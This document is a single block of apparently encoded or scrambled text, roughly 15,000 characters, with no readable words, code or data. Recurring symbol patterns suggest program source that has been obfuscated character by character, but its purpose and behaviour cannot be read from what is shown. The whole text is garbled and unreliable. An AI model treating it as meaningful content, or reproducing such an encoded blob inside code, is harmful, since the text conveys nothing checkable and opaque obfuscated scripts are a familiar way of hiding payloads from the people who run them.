^^RPP^^EXEhnWA]V @Z VTDG
9N999AVGFA]K
^^RPP^^EXE99N9UF]PGZ\]QAXARZGDC[CTBIJJ[_Z_[I9H999GAJH99ZUV^CGJIJJ[_Z_[IH9AVGFA]UR_@V9N9999DD@U [DT@TPVlVUYFYBPAQFIDG^KZ9ZUV^CGJDD@U [DT@TPVlH9AVGFA]UR_@V999N9QAUVTTDK\^YKQYUR_@V9U\AVRP[DD@U [DT@TPVlR@BGWYVCPXGH99ZUsE]AP@TR^\BGBGWYVCPXGOOsDDlT[Z EDBGWYVCPXGH9sZ]ER_ZWRGVP\]GARERAZR]G99P\]GZ]FV9N99999ZUs_R
@lGEYP
BGWYVCPXGK P RKP PH9P\]GZ]FV9N9AIKXV]V PPs_R
@lGEYPBGWYVCPXG9ZUAIKXV]V PPOOE]AP@TR^\BGAIKXV]V PPH9999P\]GZ]FV99N999@]AAKPKY^UUR_@VBU]]QBWX BUAX[]REUYBU]]QBWX9U\AVRP[IJJ[_Z_[IR@[RUKB^ZQKIPH9GAJH9999^J R^V\]
U\^s_R
@lGEYP
[RUKB^ZQKIPAIKXV]V PP9ZU^J R^V\]
U\^]F__^J R^V\]
U\^AIKXV]V PPH9AIKXV]V PP^J R^V\]
U\^9@]AAKPKY^UGAFV9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9P\]GZ]FV9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9P\]GZ]FV9N9N99ZU@]AAKPKY^UH9ZU_Bl[
X^GYCY^P BGWYVCPXGAIKXV]V PPH9QAUVTTDK\^YKQYGAFV9N9N9999N99AVGFA]QAUVTTDK\^YKQY9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N99AVGFA]UR_@V9N99999UF]PGZ\]FC[UBEGFZ\ZD^GQ^WX
]UZlGZUP]PRPKUDlUl\ 9H9B[CGWEB UB@RAARJ9PRPKUDlUl\ PRPKUDlUl\ 99EDGT^JV
QGlQsDDlT[Z ED^WX
]UZlGZUP]999ZUE]AP@TR^\BGEDGT^JV
QGlQH9F]^\F]GF]@RGZ@UZRQ_VCFQ_Z@[VA99AVGFA]B[CGWEB UB@9N9999EDGT^JV
QGlQ_TUZF EDGT^JV
QGlQ999U\AVRP[EDGT^JV
QGlQR@RTBJ@[[KG\CWZH9999ZURTBJ@[[KG\CWZOORTBJ@[[KG\CWZDDlT[Z EDH9P\]GZ]FVTTQJAUKT[CF OWCVR]llEDBU]lTTQJAUKT[CFm9N99Rl@P]YF_BAKI^J^WX
]UZlGZUP]RTBJ@[[KG\CWZ9999ZUs_R
@lGEYPRl@P]YF_BAKI^JH9999P\]GZ]FV9N99ZUs_R
@lGEYPRl@P]YF_BAKI^JDDlT[Z EDH9B[CGWEB UB@hnDDlT[Z ED Rl@P]YF_BAKI^JE]AP@TR^\BG9P\]GZ]FV9N99ZUPRPKUDlUl\ H9B[CGWEB UB@_R
@lGEYPB[CGWEB UB@FC[UBEGFZ\ZD^GQRl@P]YF_BAKI^JPRPKUDlUl\ 9999N9999N99AVGFA]B[CGWEB UB@9N9UF]PGZ\]@DPC\VCl
G^V\G\ZT\999HAYG_[UWIY[KUKVRK C\BAYG_[UWIY[9999FAPY@_AT GRAARJ9ZBYAlIDBEY_TUZF rq`crg{DDlT[Z ED9GAJH9D@IYU\[JDWAPRAARJ9ZUZBYAlIDBEYH9D@IYU\[JDWAPhnDDlT[Z EDZBYAlIDBEY9D@IYU\[JDWAPhn_R
@lGEYP_R
@lGEYPZBYAlIDBEY9D@IYU\[JDWAPhn_TUZF_TUZF_TUZFZBYAlIDBEY9N99D@IYU\[JDWAPhn_R
@lGEYP
9999D@IYU\[JDWAPhn_TUZF9D@IYU\[JDWAPhnDDlT[Z ED9D@IYU\[JDWAPhn_R
@lGEYP99D@IYU\[JDWAPhn_TUZF 9D@IYU\[JDWAPhn_R
@lGEYP9D@IYU\[JDWAPhn_TUZF99@^W\W UA@QBQCE]AP@TR^\BG _TUZF
@GAZ]TsDDlT[Z ED
_TUZF
	999ZU@^W\W UA@QBQCH9FBE]R\ZVIXZ_TUZF@^W\W UA@QBQCUR_@V		9U\AVRP[_TUZFFBE]R\ZVIXZ@^W\W UA@QBQCR@^XUQlGD[XBGH999^XUQlGD[XBG_R
@lGEYP^XUQlGD[XBG9999ZU^XUQlGD[XBGH9D@IYU\[JDWAPhn^XUQlGD[XBG9N99N9N9dccRARTARC[q_\PXC\@GAVEZ@Z\]999D@IYU\[JDWAP_R
@lGEYPE]AP@TR^\BGD@IYU\[JDWAP9UC^Y
RTQ]YYIK_R
@lGEYPGAFV9FAPY@_AT GRAARJ9999U\AVRP[D@IYU\[JDWAPR@^WX
]UZlGZUP]H9999ZUs_TUZF^WX
]UZlGZUP]OOs_TUZF^WX
]UZlGZUP]H9P\]GZ]FV9999N9Z]EVAGZQ_VRAQZGARG\A99ZU_TUZF
GAFVUC^Y
RTQ]YYIK  H9QAVRX9N9999999FAPY@_AT GE]AP@TR^\BG
FAPY@_AT GFC[UBEGFZ\ZD^GQ^WX
]UZlGZUP]9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[TE]AP@TR^\BG
 TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N99AVGFA]_R
@lGEYP
E]AP@TR^\BGFAPY@_AT GRAARJZBYAlIDBEY9N9UF]PGZ\]U\GIP^Q[G[ER_YR^lPFK[U@l9H9GAJH9P
K^]YIRlFRRAARJR^lPFK[U@lDDlT[Z ED
R^lPFK[U@l_R
@lGEYP
9U\AVRP[P
K^]YIRlFRR@^WX
]UZlGZUP]H9ZUs_TUZF^WX
]UZlGZUP]H9P\]GZ]FV999N99PVlZZ@D\AZ lEKAB@C[Q\AJRU@DPJ^WX
]UZlGZUP]9ZU_R
@lGEYPPVlZZ@D\AZ lEKAH9P\]GZ]FV999N9WVEZAGFR_ZIVZ]PAV^V]GR_WVAZERGZ\]99U\AVRP[PVlZZ@D\AZ lEKAR@TDKQ[VTBBQIH9ZU_R
@lGEYP TDKQ[VTBBQIm _TUZF
_J_RI]_\_lDP^^WX
]UZlGZUP]TDKQ[VTBBQI


H99AVGFA]GAFV9N9N9999U\AVRP[PVlZZ@D\AZ lEKAR@TDKQ[VTBBQIH9F]_\RWVEV]GFR_\Q@VAEVA99ZWW@FVYBV^WX
]UZlGZUP]TDKQ[VTBBQI9ZUs_R
@lGEYPZWW@FVYBVH9P\]GZ]FV9N9XGXAQ^\DEBB@C[Q\AJRU@DPJZWW@FVYBV9ZUE]AP@TR^\BG
 XGXAQ^\DEBH9P\]GZ]FV9N9dcqFGG\]q_\PXUZ_GVACAZ\AZGJ99U\AVRP[XGXAQ^\DEBR@K_@IF@\]EA
WH99ZUE]AP@TR^\BG K_@IF@\]EA
W E]AP@TR^\BG
_J_RI]_\_lDP^ZWW@FVYBVK_@IF@\]EA
W

H9AVGFA]GAFV999N9N9N9N999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIHY_EKY[T\V  PlCYRQX\T VWY_EKY[T\V9N9@GAZCWVQFT\FGCFG99AVGFA]UR_@V9N9UF]PGZ\]J\DYCU[Y@_FA9999H9GAJH9ZUWlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVAVGFA]99ZUTVGlGAR]@ZV]G_TUZF
H9AVGFA]9N999[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROO_TUZF[[_CC\A^IR


H99AVGFA]999N9ZUZRG
\KYQ\R AXG[[_CC\A^IRH9XJRP]KB[TDDlT[Z ED
_TUZF
9AVGFA]9N99FAPY@_AT G@DPC\VCl
G^V\G\ZT\9999ZUV^CGJFAPY@_AT GH9999ZUTVGlGAR]@ZV]GE]AP@TR^\BG
H9dc`ZGV\T\	C\_J]\^ZR_]VT\GZRGZ\]99999XJRP]KB[TE]AP@TR^\BG
E]AP@TR^\BG

_A^JDUJD\U
 IWK
D@FC_@DF_A^JDUJD\U 9@VGlGAR]@ZV]GDDlT[Z ED 
99N9@VGlGAR]@ZV]G_R
@lGEYP 
 9AVGFA]9N9G@
[[DYZY\W9U\AVRP[FAPY@_AT GR@R^lPFK[U@lHD]DIPQZ PZYU AP\D]DIPQZ 99ZUU\GIP^Q[G[ER_YR^lPFK[U@lH999P\]GZ]FV9N99Y[^^AFR^JV9I]RPBK XB@^[R^lPFK[U@l_R
@lGEYP
99ZUs_TUZFI]RPBK XB@^[sDDlT[Z ED I]RPBK XB@^[H9RPBFZAV@GRPXUAR^V99I]RPBK XB@^[]F__9NV_@VZUsDDlT[Z ED I]RPBK XB@^[H9BRFY @QI@lG^I]RPBK XB@^[GAFV9N9ZUI]RPBK XB@^[s_R
@lGEYP  I]RPBK XB@^[OOsDDlT[Z ED I]RPBK XB@^[H9999I]RPBK XB@^[]F__999N99ZUI]RPBK XB@^[H99ZC^^EDZ^D]TI]RPBK XB@^[@_WE[^XGUGJJQ9VGITKlBC^\Z
GB\BC_AR[[_CC\A^IR9A_DFRWDWP@^U\ZVFJWG^Y_ AV QD
I]KZC^^EDZ^D]TVGITKlBC^\DDlT[Z ED
99ZUA_DFRWDWP@^UA_DFRWDWP@^UDDlT[Z ED VGITKlBC^\H9999Y[^^AFR^JVZC^^EDZ^D]T9N9N9dcz]GVARPGZEZGJrcz	UZ]R_ZIVP[VPXC\Z]G999999ZUY[^^AFR^JVHD\\ICVD@YDPc{clz}gl~rkc{clz}gl~rk]IZ_[R]@D\\ICVD@YDP9P Z_[GDA[CV_R
@lGEYP @_WE[^XGUGJJQcrg{z}u|luzv}r~v9YPFUE]KJ][R^lPFK[U@lDDlT[Z ED P Z_[GDA[CV9ZUsE]AP@TR^\BG  YPFUE]KJ][H9dc}REZTRGZ\]q_\PX	VER_FRGVCA\\UGVA^99BRFY @QI@lG^YPFUE]KJ][KWKVGAFV9N9ZC^^EDZ^D]TYPFUE]KJ][@_WE[^XGUGJJQ99VGITKlBC^\Z
GB\BC_AR[[_CC\A^IR9A_DFRWDWP@^U\ZVFJWG^Y_ AV QD
I]KZC^^EDZ^D]TVGITKlBC^\E]AP@TR^\BG 9ZUA_DFRWDWP@^UA_DFRWDWP@^U_TUZF 
VGITKlBC^\H9Y[^^AFR^JVZC^^EDZ^D]T99QR@V]R^VP Z_[GDA[CV@_WE[^XGUGJJQ9El]_lW

ITQ__ZR^lPFK[U@lQR@V]R^V9N9N99ZUY[^^AFR^JVH9P\]GZ]FV9N9E[VEEQGFXUA\[^PY[^^AFR^JV9QD^BPU^^^C \VY[^^AFR^JV
 9G@
[[DYZY\W99N9ZUG@
[[DYZY\WH9@VGlGAR]@ZV]G_R
@lGEYP    9NV_@VH999@VGlGAR]@ZV]G_R
@lGEYP  9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[T_R
@lGEYP TDKQ[VTBBQI\\VUWRJ 
RRG AFVUV\\VUWRJ 
9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N999UF]PGZ\]El]_lW

ITQ__ZR^lPFK[U@lQR@V]R^V9H9GAJH99]YJRWRD[ZVDCR[VR^lPFK[U@l_R
@lGEYP 9ZUs_R
@lGEYP]YJRWRD[ZVDCR[VH9dcq_\PXgAR]@U\A^@	AV@G\AVAVGAJC\_ZPJ99]YJRWRD[ZVDCR[V_R
@lGEYP R^lPFK[U@l_TUZF 999ZUsE]AP@TR^\BG  ]YJRWRD[ZVDCR[VH9c`a^ZWW_VDRAV	Z]_Z]VER_ZWRG\A99AVGFA]9N9N9JWF\WA\R__s_R
@lGEYP]YJRWRD[ZVDCR[V9ZUJWF\WA\R__H9AVGFA]99N9_CTVFC__^GI@999CAVUZKRIG]_[WC
KK^^_^YA]RIG]_[WC99ZUE]AP@TR^\BG 
_R
@lGEYP JWF\WA\R__QVIU YZZH9_CTVFC__^GI@QVIU YZZhn9N9]Z_C\GV]G^V@@RTVBFVFV999ZU_TUZF 
E]AP@TR^\BG JWF\WA\R__QVIU YZZHYTA^ XTFCQKRUKFll[APXGYTA^ XTFCQ9CAVUZKQVIU YZZhnBU@BKE[Yc{clz}gl~rkc{clz}gl~rk_B\
IlRGVA[ZBU@BKE[Y9N99ZU_CTVFC__^GI@OOCAVUZKOOE]AP@TR^\BG DDlT[Z ED CAVUZKH9999AVGFA]9N9DCWQt|qr`hDDlT[Z ED n9ZU_R
@lGEYP  DCWQOO_R
@lGEYP 
DCWQ_TUZFH9AVGFA]9N9999ZU_TUZF _R
@lGEYP _CTVFC__^GI@H9XJRP]KB[T_TUZF
_R
@lGEYP 9AVGFA]9999N9YY lKVES_CTVFC__^GI@_R
@lGEYP CAVUZK_R
@lGEYP  9DCWQBFVAJ_TUZF 9KYlAKZWDCWQTVGlERA`_R
@lGEYP YY lKVE_R
@lGEYP E]AP@TR^\BG _TUZF 9ZUKYlAKZW]F__H9DCWQBFVAJE]AP@TR^\BG 
9AVGFA]9999N9ZRJXFJYRV\@E[]G
]I@\QWTGlD@KYlAKZW9ZU_TUZF
 ZRJXFJYRV\@H9DCWQBFVAJE]AP@TR^\BG  9AVGFA]99N9ZU_R
@lGEYPQR@V]R^VZRJXFJYRV\@GAFVH9DCWQBFVAJDDlT[Z ED  999AVGFA]9N9ZRJXFJYRV\@hnQR@V]R^V9ZRJXFJYRV\@_TUZF  ZRJXFJYRV\@^WPJCPYI
 AIWXKXU^WPJCPYI 9IY
 AFXII_TUZF   ZRJXFJYRV\@9999FQlPFRB_ADCWQBFVAJDCWQCAVCRAVfE]AP@TR^\BG  YY lKVEDDlT[Z ED  _TUZF IY
 AFXII9ZUFQlPFRB_AUR_@VH9XJRP]KB[TDDlT[Z ED
DDlT[Z ED  9DCWQBFVAJ_R
@lGEYP  9AVGFA]9N9DCWQBFVAJ_R
@lGEYP  9NPRGP[g[A\DRQ_VTDKQ[VTBBQIHUB[IW RO^U]VJUB[IW Rm
9XJRP]KB[T_R
@lGEYP  TDKQ[VTBBQI9ZUDDlT[Z ED  t|qr`h_TUZF nH9st|qr`hE]AP@TR^\BG nBFVAJ_R
@lGEYP  
999N9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG  TDKQ[VTBBQI9ZUE]AP@TR^\BG  t|qr`h_TUZF nH9st|qr`hE]AP@TR^\BG nBFVAJDDlT[Z ED  
999N9N9@CVPZR_ZIVWVCV]WV]GGJCVU\Ap\^C\@VARFG\_\RW99N9UF]PGZ\]WB ZQFCZlFJIQX[
Q9H9@GRGZPJWF\WA\R__]F__9ZUJWF\WA\R__]F__AVGFA]JWF\WA\R__999ZUDDlT[Z ED DDlT[Z ED
 H9999JWF\WA\R__UR
GZD OER@A^T@CARXlUR
GZDm9AVGFA]JWF\WA\R__9N9JWF\WA\R__sTIZ]U_RGVE]AP@TR^\BG _TUZF 9ZU_TUZF JWF\WA\R__OODDlT[Z ED  JWF\WA\R__JWF\WA\R__9AVGFA]JWF\WA\R__9N9UF]PGZ\]KXF@EAI]CBFD9H9GAJHCXT[
^ACDV@FGJ\RCXT[
^ACDVCXT[
^ACDV	CXT[
^ACDV9ZUWVUZ]VWE]AP@TR^\BGAVGFA]9AYRKTE\^E]AP@TR^\BG YDA[\
D@PQVUAV_TUZF
9YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{DDlT[Z ED _R
@lGEYP 9YX[^
]\]K]UR[ BQ
D\KCTWT^C^KB\rq`crg{_TUZF  m9Y^\UT@DCZY\lDE]AP@TR^\BG _R
@lGEYP P\]GV]GlFA_	9ZUY^\UT@DCZY\lDH9Y^\UT@DCZY\lDE]AP@TR^\BG 
_TUZFTVGl@ZGVlFA_	E]AP@TR^\BG 9N9\J@^AQCQIX\\_R
@lGEYP DDlT[Z ED _TUZF  Y^\UT@DCZY\lDYDQADE^
@_^@D9999ZU_R
@lGEYP\J@^AQCQIX\\_TUZF  \J@^AQCQIX\\DDlT[Z ED  _R
@lGEYP\J@^AQCQIX\\9TECl__BZTBUT_TUZF 
_R
@lGEYP[\^VlFA_E]AP@TR^\BG PPA
l_ZWF[\XA@W@ZUX_R
@lGEYP 	9ZUTECl__BZTBUTTECl__BZTBUT_R
@lGEYP WB^C^J\YDZ]P
_TUZF PPA
l_ZWF[\XA@W@ZUX_TUZF 9999ZU_R
@lGEYPTECl__BZTBUTDDlT[Z ED TECl__BZTBUT_R
@lGEYP _R
@lGEYP _R
@lGEYP
_TUZF TECl__BZTBUT9AFIP@AY]BU_Z@@VGt|qr`h_TUZF 
n_R
@lGEYP t|qr`h_TUZF 
nt|qr`hDDlT[Z ED 
n	9ZUDDlT[Z ED  AFIP@AY]BU_H9AFIP@AY]BU_U\C]lQRF IPGX^BGE]AP@TR^\BG 

9N9ZUE]AP@TR^\BG  AFIP@AY]BU_

H999AFIP@AY]BU_WB ZQFCZlFJIQX[
QlZDCEPZQPP[BWTc{clz}gl~rkc{clz}gl~rk]PAU
_TX J_lZDCEPZQPP[BWT9N9C]FT@_FDU9ZUZ@@VGt|qr`h_TUZF n_R
@lGEYP t|qr`hE]AP@TR^\BG nE]AP@TR^\BG  t|qr`h_TUZF n H9C]FT@_FDUt|qr`h_R
@lGEYP n9NV_@VH9C]FT@_FDUU\C]lQRF IPGX^BGDDlT[Z ED9N9ZUE]AP@TR^\BG C]FT@_FDU  H9X[RZVlID
UT\BTZXYDV_TUZFC]FT@_FDUDDlT[Z ED  9N9D@WI[XFU_^_R
@lGEYP 
DDlT[Z ED@GAZ]T_R
@lGEYP[\^VlFA_c{clfalcrg{	9ZUD@WI[XFU_^D@WI[XFU_^9ZUDDlT[Z ED D@WI[XFU_^D@WI[XFU_^9VlQl]PQQD_Y_RAARJ9E]AP@TR^\BG _[QFK^]@YQFDXAKV9_TUZF WDQ QGZl^_RX9_R
@lGEYP D@WI[XFU_^99Y
JCUQTFZVDU RAARJ9_R
@lGEYP \J@^AQCQIX\\9_R
@lGEYP AYRKTE\^9_TUZF 
TECl__BZTBUT9E]AP@TR^\BG BQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYP 999_TUZF C]FT@_FDU999BR\
A@_Z[ RZWW
ZYXT_\DQDDlT[Z ED  9ZUDDlT[Z ED BR\
A@_Z[ OO_TUZF BR\
A@_Z[ H9AVGFA]9N9F][\\XP[RZ]U\A^Q@GAZ]T@GAZPG99DK]W\CFT\YDDlT[Z ED YDYRYP[V\TDDlT[Z ED Y
JCUQTFZVDU BR\
A@_Z[ 9VGXCQBFGX_WDDlT[Z ED E]AP@TR^\BG E]AP@TR^\BG VlQl]PQQD_Y__TUZF 9VGXCQBFGX_WDDlT[Z ED DK]W\CFT\Y_TUZF 
9X[RZVlID
UT\BTZXYDVE]AP@TR^\BG VGXCQBFGX_W_R
@lGEYP 9X[RZVlID
UT\BTZXYDVDDlT[Z ED _TUZF@GAZ]TAFIP@AY]BU_@GAZ]TC]FT@_FDUBR\
A@_Z[ OE]AP@TR^\BG  WB^C^J\YDZ]P
_TUZF 9QlKZV@D^YYDDlT[Z ED 
_R
@lGEYP[\^VlFA__R
@lGEYP PPA
l_ZWF[\XA@W@ZUXDDlT[Z ED 	99ZUQlKZV@D^YYQlKZV@D^YY_TUZF WB^C^J\YDZ]P
E]AP@TR^\BG PPA
l_ZWF[\XA@W@ZUXE]AP@TR^\BG \VKD\]X^]
E^[
G\GQYYYAT\VKD\]X^] 9ZUDDlT[Z EDQlKZV@D^YY_TUZF QlKZV@D^YYE]AP@TR^\BG E]AP@TR^\BG _R
@lGEYP _R
@lGEYP QlKZV@D^YY9X[RZVlID
UT\BTZXYDV_TUZF QlKZV@D^YYDDlT[Z ED 
9ZU_TUZF 
AFIP@AY]BU_H9AVGFA]999N9X[RZVlID
UT\BTZXYDV_TUZF 

AFIP@AY]BU__TUZF 
9999ZU@UWV\QUJX\T^ZCR VKAVGFA]9J]_CDYZKBBBVA
XCV@AY@^T9999ZUs_R
@lGEYP  J]_CDYZKBRFY @QI@lG^J]_CDYZK  GAFV999ZUsE]AP@TR^\BG 
J]_CDYZKOOsDDlT[Z ED 
J]_CDYZKAVGFA]9XTIJCRV\J]_CDYZKYX[^
]\]K]UR[ DDlT[Z ED 
 9UI^GXQ_DUIR^Y\GURYIQX 
FWI@UK9DDlT[Z ED 
9RAARJll`ftllllizcl}r~vlllldazgvlxvjlllleva`z|}ll9RAARJAYRKTE\^YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG 
B
C\ZlAP^PVX_\G_^Z99999ZUUI^GXQ_DUIR^Y\H9999ZUZ]GTVGl\CGZ\]E]AP@TR^\BG 
XJRP]KB[T_TUZF _R
@lGEYP 
9AVGFA]9N9ZUs_TUZF 
XTIJCRV\OO_TUZFQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsDDlT[Z EDXTIJCRV\DDlT[Z ED 

UI^GXQ_DUIR^Y\H9\ZVFJWG^Y_ AV QD
I]KXTIJCRV\UI^GXQ_DUIR^Y\_TUZF9PICJFA]JXF[  [TDEXTIJCRV\]YGKGEIDXW PEEB\U]9QD^BPU^^^C \VXTIJCRV\ 
 9999PZZUJW[@
ClCFXTIJCRV\999N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]GURYIQX 
FWI@UKXVJ\AIUETJCREIl
YZF9H9VG_]@  E_Z]F__9ZUVG_]@  E_Z]F__H9VG_]@  E_Z_R
@lGEYPDDlT[Z EDTVGlGAR]@ZV]GQAJXX
_CJ	UR_@V9ZU_R
@lGEYP
 VG_]@  E_ZH9VG_]@  E_ZE^J

TJX]]XB[IT@E]AP@TR^\BG 
UR_@V9N9ZU_R
@lGEYP
 VG_]@  E_ZH9VG_]@  E_ZRAARJ99N9dcrAP[ZEVgZG_V	Z]GVAPVCG@FQ@GZGFGZ\]^RC99N9IVl\@G^WYZ9ZUZ@@VGVG_]@  E_ZhXVJn_TUZF VG_]@  E_ZhXVJnH99IVl\@G^WYZVG_]@  E_ZhXVJn9N9999ZUE]AP@TR^\BG IVl\@G^WYZH9IVl\@G^WYZU\C]lQRF IPGX^BGXVJ9N9ZUDDlT[Z EDIVl\@G^WYZKKAVGFA]UR_@V9QF\\JE@_TUZF IVl\@G^WYZGAFV9ZUQF\\JE@OO_R
@lGEYPQF\\JE@
mAVGFA]UR_@V9ZUDDlT[Z EDQF\\JE@DDlT[Z EDUR_@VAVGFA]UR_@V9QF\\JE@E]AP@TR^\BG\AIUETJCREIl
YZFQF\\JE@9ZUWVUZ]VW_TUZFH9dcq_\PXrczE 	F]P\F]GRQ_VP\]@GARZ]G@VG99GAJH9sG\XV]lTVGlR__QF\\JE@g|xv}lcra`v9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9NV_@VZUZRG
\KYQ\R AXGQF\\JE@H9\FGCFGV]P\WZ]T999AVGFA]UR_@V9N9AVGFA]QF\\JE@99N9UF]PGZ\]XGKGIP_DQBA_999H9999GAJH9ZUE]AP@TR^\BG_R
@lGEYPAVGFA]9ZUWVUZ]VW_TUZFAVGFA]9999RKVQ@U\W_AK[\V]T  WF
 F_FV9ZURKVQ@U\W_AK[H9KXF@EAI]CBFD9RKVQ@U\W_AK[\V]T  WF
 F_FV9N9CYI
GY[UDG]U\C]lQRF IPGX^BG_R
@lGEYP  9ZU_TUZFCYI
GY[UDG]CYI
GY[UDG]DDlT[Z ED
oK9]Q^X\I\WIZ@@VGt|qr`hDDlT[Z EDnE]AP@TR^\BG t|qr`h_TUZFn_TUZFt|qr`h_TUZFnt|qr`h_R
@lGEYPn	U\C]lQRF IPGX^BG_R
@lGEYP 

9ZUDDlT[Z ED]Q^X\I\WI  ]Q^X\I\WIWB ZQFCZlFJIQX[
Q9[^_lJD
[Z@@VGt|qr`h_TUZF nDDlT[Z ED t|qr`hDDlT[Z ED n_TUZFt|qr`h_R
@lGEYP n m
t|qr`h_R
@lGEYP n	U\C]lQRF IPGX^BGDDlT[Z ED9BARDR^UZFJWDDlT[Z ED 

]Q^X\I\WI[^_lJD
[CYI
GY[UDG]OE]AP@TR^\BGWB^C^J\YDZ]P
9ZUU\C]lQRF IPGX^BG_TUZF BARDR^UZFJWH9KXF@EAI]CBFD9RKVQ@U\W_AK[\V]T  WF
 F_FV9N9ZU@UWV\QUJX\T^ZCR VKAVGFA]9Z]^ECVK\YDQIR\^]V JWXZ_999UBJCYQ_lKERs_TUZF 
Z]^ECVK\YDQI_TUZF9ZUUBJCYQ_lKERRKVQ@U\W_AK[TVGlGAR]@ZV]GDDlT[Z ED AVGFA]EYE[]I
l
T
 U
I
FIDZKB_EYE[]I
l
TEYE[]I
l
T	EYE[]I
l
T9XBPZ^EKEVUWGJ\]]9\YG_IE
\JXE\9TPBIJXKD

V
KY[99E
_CW CUZCs_TUZF Z]^ECVK\YDQI_TUZF9RKVQ@U\W_AK[\V]T  WF
 F_FV999ZUE
_CW CUZCRKVQ@U\W_AK[H9@VGlGAR]@ZV]G_R
@lGEYP 9999N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9dcv^QVWq_\PX	V]RQ_VD\AXBFVFV99XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]\YG_IE
\JXE\9H9GAJH9ZUWVUZ]VWE]AP@TR^\BGAVGFA]9ZU_R
@lGEYPE]AP@TR^\BG
 AVGFA]9E^PAR
ZGRXl] _TUZFDDlT[Z ED
s_TUZF
E]AP@TR^\BG	UR_@V9ZUE^PAR
ZGRXl] OOE^PAR
ZGRXl] OOE^PAR
ZGRXl] DDlT[Z EDE^PAR
ZGRXl] _R
@lGEYP999YX[^
]\]K]UR[ BQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYP9Z]^ECVK\YDQIR\^]V JWXZ_9999J]_CDYZKBBBVA
XCV@AY@^T9QRGP[@REVC\Z]G99999VVG_F@JBQ
D\KCTWT^C^KB\rq`crg{_TUZFE]AP@TR^\BG 
 9G@BBFEIDZ]^ECVK\YDQIVVG_F@J9A B^KC]XXZ]^ECVK\YDQI_TUZFVVG_F@J9AYRKTE\^DDlT[Z ED YDA[\
D@PQVUAVE]AP@TR^\BG 
 9YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYP K KDDlT[Z ED 9AEWT@AAKKWE FZ]GTVGl\CGZ\]E]AP@TR^\BG9ZUAEWT@AAKKWE FE]AP@TR^\BGAEWT@AAKKWE F H9CRGP[C[R]G\^U\AdcgRQ_Vq_\PX9999W@CKGDUEJY G@BBFEID]F__9W@CKGDUEJY A B^KC]XX]F__9U\AVRP[RAARJE]AP@TR^\BG
rq`crg{E]AP@TR^\BGE]AP@TR^\BGZ]^ECVK\YDQI_TUZFR@CCU]FTTIlH9C ]@
TTGlIlCCU]FTTIlE^PAR
ZGRXl] 9XPYWQl^ZGBFs_TUZF  C ]@
TTGlIls_TUZFC ]@
TTGlIl	9ZUE]AP@TR^\BG XPYWQl^ZGBFE]AP@TR^\BGXPYWQl^ZGBFVVG_F@JUR_@VH9G_G  Z]QPB
FDDlT[Z ED_R
@lGEYP DDlT[Z ED
 VVG_F@J_R
@lGEYPo]XPYWQl^ZGBF9ZU_TUZF G_G  Z]QPB
FG_G  Z]QPB
FXPYWQl^ZGBF_Bl[
X^GYCY^P C ]@
TTGlIlG_G  Z]QPB
F9N9^VTR^\AC[ZPPR__99N9999AVGFA]E_]CREFKRKQKlDP_CRRG\ZE_]CREF9N9Y\U[FA^A_XGURYIQX 
FWI@UK9_R
@lGEYP99RAARJll`ftllllizcl}r~vllllz}`gl{r`{llllwrgrlwzallllp|}gv}glwzalqlllleva`z|}ll9RAARJAYRKTE\^YDQADE^
@_^@DYX[^
]\]K]UR[ DDlT[Z EDBQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG _R
@lGEYP WVUZ]VWDDlT[Z ED
dclp|}gv}glwza	R\^]V JWXZ_B
C\ZlAP^PVX_\G_^Z99ZUY\U[FA^A_XH9ZUZ]GTVGl\CGZ\]DDlT[Z ED 
XJRP]KB[T_TUZFE]AP@TR^\BG9AVGFA]9N99ZUs_R
@lGEYP 
J]_CDYZKBRFY @QI@lG^J]_CDYZK GAFV9A EG@\ APZVUR_@V9ZUsDDlT[Z ED A B^KC]XXOOE]AP@TR^\BG 

QYDlT@]@EWXY@ZT[YT\FY@GAZ]TsDDlT[Z EDA B^KC]XXDDlT[Z EDY\U[FA^A_XH9\ZVFJWG^Y_ AV QD
I]KA B^KC]XXY\U[FA^A_X_TUZF9PICJFA]JXF[  [TDEA B^KC]XX]YGKGEIDXW PEEB\U]9QD^BPU^^^C \VA B^KC]XX999PZZUJW[@
ClCFA B^KC]XX9A EG@\ APZVGAFV9N99TYTP[] ^X
9U\AVRP[RAARJE]AP@TR^\BGrq`crg{DDlT[Z EDDDlT[Z EDZ]^ECVK\YDQI_TUZFR@B\_^[QUW\VWQQGH9FXJUKVI\sDDlT[Z ED B\_^[QUW\VWQQGE^PAR
ZGRXl] s_TUZFB\_^[QUW\VWQQGE^PAR
ZGRXl] 	9ZUE]AP@TR^\BG
FXJUKVI\_R
